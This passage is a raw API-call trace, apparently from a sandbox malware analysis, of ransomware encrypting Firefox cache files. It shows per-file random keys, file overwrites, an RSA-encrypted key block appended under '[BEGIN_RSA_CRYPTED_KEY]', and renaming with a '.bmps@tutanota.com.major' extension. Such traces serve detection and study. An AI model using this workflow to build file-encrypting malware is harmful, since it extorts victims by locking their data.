dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0287.350] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1322) returned 1 [0287.351] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x52a) returned 0x66e948 [0287.351] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x52a) returned 0x2f3e850 [0287.351] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x52a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x52a, lpOverlapped=0x0) returned 1 [0287.620] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0287.620] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x52a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x52a, lpOverlapped=0x0) returned 1 [0287.620] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e948 | out: hHeap=0x570000) returned 1 [0287.620] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f3e850 | out: hHeap=0x570000) returned 1 [0287.620] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x52a [0287.620] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0287.620] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0287.620] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0287.621] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0287.621] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0287.621] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0287.621] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="FoMlwOxdDljD1EYFqEIJ8wNpRcn3iOfKYSw8bwApUWUZro8gMSB9Dbfo/eYm7KUa\nY/AoH2/fAvfMIBNN4jKNtnfp7YdIAATOjWGLhUgR9lKVAKYYcs8kNmyMRPmrc1vk\nLxAsL5f3dISCKQM7uFsQTSKqTDjxOEKotKIL8suzyV7VswOMtS24NVI3XdW6h0GC\nYZeYkQ9hZNK0FGeAswtfiXPuCM5Oq8fXa/Qa51/6DRPAxk3mIwSEdj8L/KDrvG1K\nFEQVi1wlKLj512U5cYmI1li/rYzZ5bcVvhnmPPc9VdYKZs+aD84m75NY9EOb/ixZ\njGsPnZ/MBMKUl71aGEArLw==\n", pcchString=0x2e3f9a8) returned 1 [0287.621] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0287.621] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0287.621] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0287.621] CloseHandle (hObject=0x1b84) returned 1 [0287.621] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0287.621] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1948A617BE08C70F70E0A406F640FD839A720820" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1948a617be08c70f70e0a406f640fd839a720820"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1948A617BE08C70F70E0A406F640FD839A720820.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1948a617be08c70f70e0a406f640fd839a720820.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0287.623] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0287.623] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65a0 | out: hHeap=0x570000) returned 1 [0287.623] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2558 | out: hHeap=0x570000) returned 1 [0287.623] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2450 | out: hHeap=0x570000) returned 1 [0287.623] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee2450 [0287.623] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6758 [0287.624] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0287.624] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\179F6D8969C48967D77229126C8892C5E40DBC29", dwFileAttributes=0x80) returned 1 [0287.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee2558 [0287.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0287.624] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2558 | out: hHeap=0x570000) returned 1 [0287.624] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\179F6D8969C48967D77229126C8892C5E40DBC29" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\179f6d8969c48967d77229126c8892c5e40dbc29"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0287.625] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=104) returned 1 [0287.625] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x68) returned 0x5a6080 [0287.625] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x68) returned 0x5a10c8 [0287.625] ReadFile (in: hFile=0x1b84, lpBuffer=0x5a6080, nNumberOfBytesToRead=0x68, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a6080*, lpNumberOfBytesRead=0x2e3f9b4*=0x68, lpOverlapped=0x0) returned 1 [0287.626] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-104, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0287.626] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a10c8*, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a10c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x68, lpOverlapped=0x0) returned 1 [0287.626] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a6080 | out: hHeap=0x570000) returned 1 [0287.626] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0287.626] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x68 [0287.626] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0287.626] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0287.626] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0287.627] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0287.627] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0287.627] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0287.627] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="iaPZSM6168UCsg3bB0cL5hOu3tBiYHWkLT5Q48obkwr42BajuU04c7qpUdBLguVQ\nMkgsEIvfuMbQZGJ2YbkFNM03MUdMlyaEquU1+x2SnfBoiTwZ66bMW5Uhdc+HH+P7\n8FxV64qqfEDRl7tZvvailOoGdJfPBQwALYUU1td8k3lKaYxRjBKD7H2+Cv/uUzYi\nSWATtK00YSDdE/K4k5diNuFWxcR7DXEpMhT4/PmGRAtC4/uPqY8YiN4dc4kM4+Zl\nbHoHK2A2I9EV/WGU1KQcaN3mFLGIdjM3iNTYnJurDnMGOZUo5f+vUMv2ItuwibjO\n/8d0pAS27viq3R41kIyLPw==\n", pcchString=0x2e3f9a8) returned 1 [0287.627] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0287.627] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0287.627] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0287.627] CloseHandle (hObject=0x1b84) returned 1 [0287.628] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0287.628] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\179F6D8969C48967D77229126C8892C5E40DBC29" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\179f6d8969c48967d77229126c8892c5e40dbc29"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\179F6D8969C48967D77229126C8892C5E40DBC29.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\179f6d8969c48967d77229126c8892c5e40dbc29.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0287.631] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0287.631] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6758 | out: hHeap=0x570000) returned 1 [0287.631] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2450 | out: hHeap=0x570000) returned 1 [0287.631] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2348 | out: hHeap=0x570000) returned 1 [0287.631] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee2348 [0287.631] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65a0 [0287.631] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0287.631] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1722A63DF48E38B5DC308AE741FBFA24F762D8AC", dwFileAttributes=0x80) returned 1 [0287.631] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee2450 [0287.631] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0287.631] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2450 | out: hHeap=0x570000) returned 1 [0287.631] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1722A63DF48E38B5DC308AE741FBFA24F762D8AC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1722a63df48e38b5dc308ae741fbfa24f762d8ac"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0287.632] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3625) returned 1 [0287.632] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe29) returned 0x3446048 [0287.632] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe29) returned 0x2f81868 [0287.632] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xe29, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xe29, lpOverlapped=0x0) returned 1 [0287.705] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3625, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0287.705] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f81868*, nNumberOfBytesToWrite=0xe29, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f81868*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe29, lpOverlapped=0x0) returned 1 [0287.705] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3446048 | out: hHeap=0x570000) returned 1 [0287.705] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81868 | out: hHeap=0x570000) returned 1 [0287.705] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe29 [0287.705] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0287.705] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0287.705] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0287.705] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0287.705] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0287.705] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0287.705] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="oDvDunTZl+FI3QV1yqxqzRr/eDNWKccfnOc/LE9ZHSK9pHf4HsWqr8spPkZlM6j+\nkNH/9VhLn1pXRNwxGgMgrcOC2XTEotacyWMlZr/lVTG27EfFO3y32TH75Is9UufV\nMnRV3Om0TtcTcFL6IIv3NI08GxAOtzT+2Ecgr4AySagst6snFkxLisLP1L1sRqiQ\nERa6XYw0PZWMcKKWYuyERPrNJA+S0jD/pmyKSVUT1tkoYP91MfuTLacGCif9fwgt\n0VxnmwLDoTIwNlYzgegdi8I0HGpZl/33okB1bhXC3GcQW/pzoGlKMI7UBXezVp60\nanrvqSkpaGvNETYsg/bzjw==\n", pcchString=0x2e3f9a8) returned 1 [0287.706] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0287.706] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0287.706] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0287.706] CloseHandle (hObject=0x1b84) returned 1 [0287.706] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0287.706] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1722A63DF48E38B5DC308AE741FBFA24F762D8AC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1722a63df48e38b5dc308ae741fbfa24f762d8ac"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1722A63DF48E38B5DC308AE741FBFA24F762D8AC.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1722a63df48e38b5dc308ae741fbfa24f762d8ac.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0287.708] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0287.708] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65a0 | out: hHeap=0x570000) returned 1 [0287.708] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2348 | out: hHeap=0x570000) returned 1 [0287.708] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2240 | out: hHeap=0x570000) returned 1 [0287.708] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee2240 [0287.708] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6690 [0287.708] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0287.708] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\164AA00845C57C411A6B80E5A4F3C1ADEDE69C9C", dwFileAttributes=0x80) returned 1 [0287.708] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee2348 [0287.708] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0287.708] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2348 | out: hHeap=0x570000) returned 1 [0287.708] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\164AA00845C57C411A6B80E5A4F3C1ADEDE69C9C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\164aa00845c57c411a6b80e5a4f3c1adede69c9c"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0287.709] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1322) returned 1 [0287.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x52a) returned 0x66e948 [0287.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x52a) returned 0x2f3e850 [0287.709] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x52a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x52a, lpOverlapped=0x0) returned 1 [0287.711] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0287.711] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x52a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x52a, lpOverlapped=0x0) returned 1 [0287.711] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e948 | out: hHeap=0x570000) returned 1 [0287.711] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f3e850 | out: hHeap=0x570000) returned 1 [0287.711] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x52a [0287.711] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0287.711] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0287.711] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0287.711] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0287.712] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0287.712] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0287.712] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="UnZnKGggcFwGrTGXXMPckPfqkZj+fKIW6l1X3YfYjlHfSUvZPEfCq2kIMrRzRdgJ\nfSw3ns0SCdzUMAdFryy6M8FZHubY553SQvA7Yz5O0z8Z28pkL7Y8Nj+HSrhp/49t\nwmw5cIVgeKAToFQiQn8IDcGIHsY1qzUh6nkEJeBiJMAZUpHKm9qMR9xhXlIpjTgL\nJJSQ9XSf6BtY0xOlJSpTzpnYhcfuoyiOBrW5q/e70vAb0LMyf+MsFvG1oLYdWVFp\nen7c7DOaVuQKtESJsWpi6yLVnr1xLKVQludldREN8RCk1uKz2wxGYBlF1xGkHlWh\nWY1A+x3UmERgoGiggH+gGw==\n", pcchString=0x2e3f9a8) returned 1 [0287.712] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0287.712] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0287.712] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0287.712] CloseHandle (hObject=0x1b84) returned 1 [0287.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0287.712] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\164AA00845C57C411A6B80E5A4F3C1ADEDE69C9C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\164aa00845c57c411a6b80e5a4f3c1adede69c9c"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\164AA00845C57C411A6B80E5A4F3C1ADEDE69C9C.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\164aa00845c57c411a6b80e5a4f3c1adede69c9c.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0287.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0287.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6690 | out: hHeap=0x570000) returned 1 [0287.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2240 | out: hHeap=0x570000) returned 1 [0287.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee3e18 | out: hHeap=0x570000) returned 1 [0287.714] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee3e18 [0287.714] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65a0 [0287.714] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0287.714] SetFileAttributesW 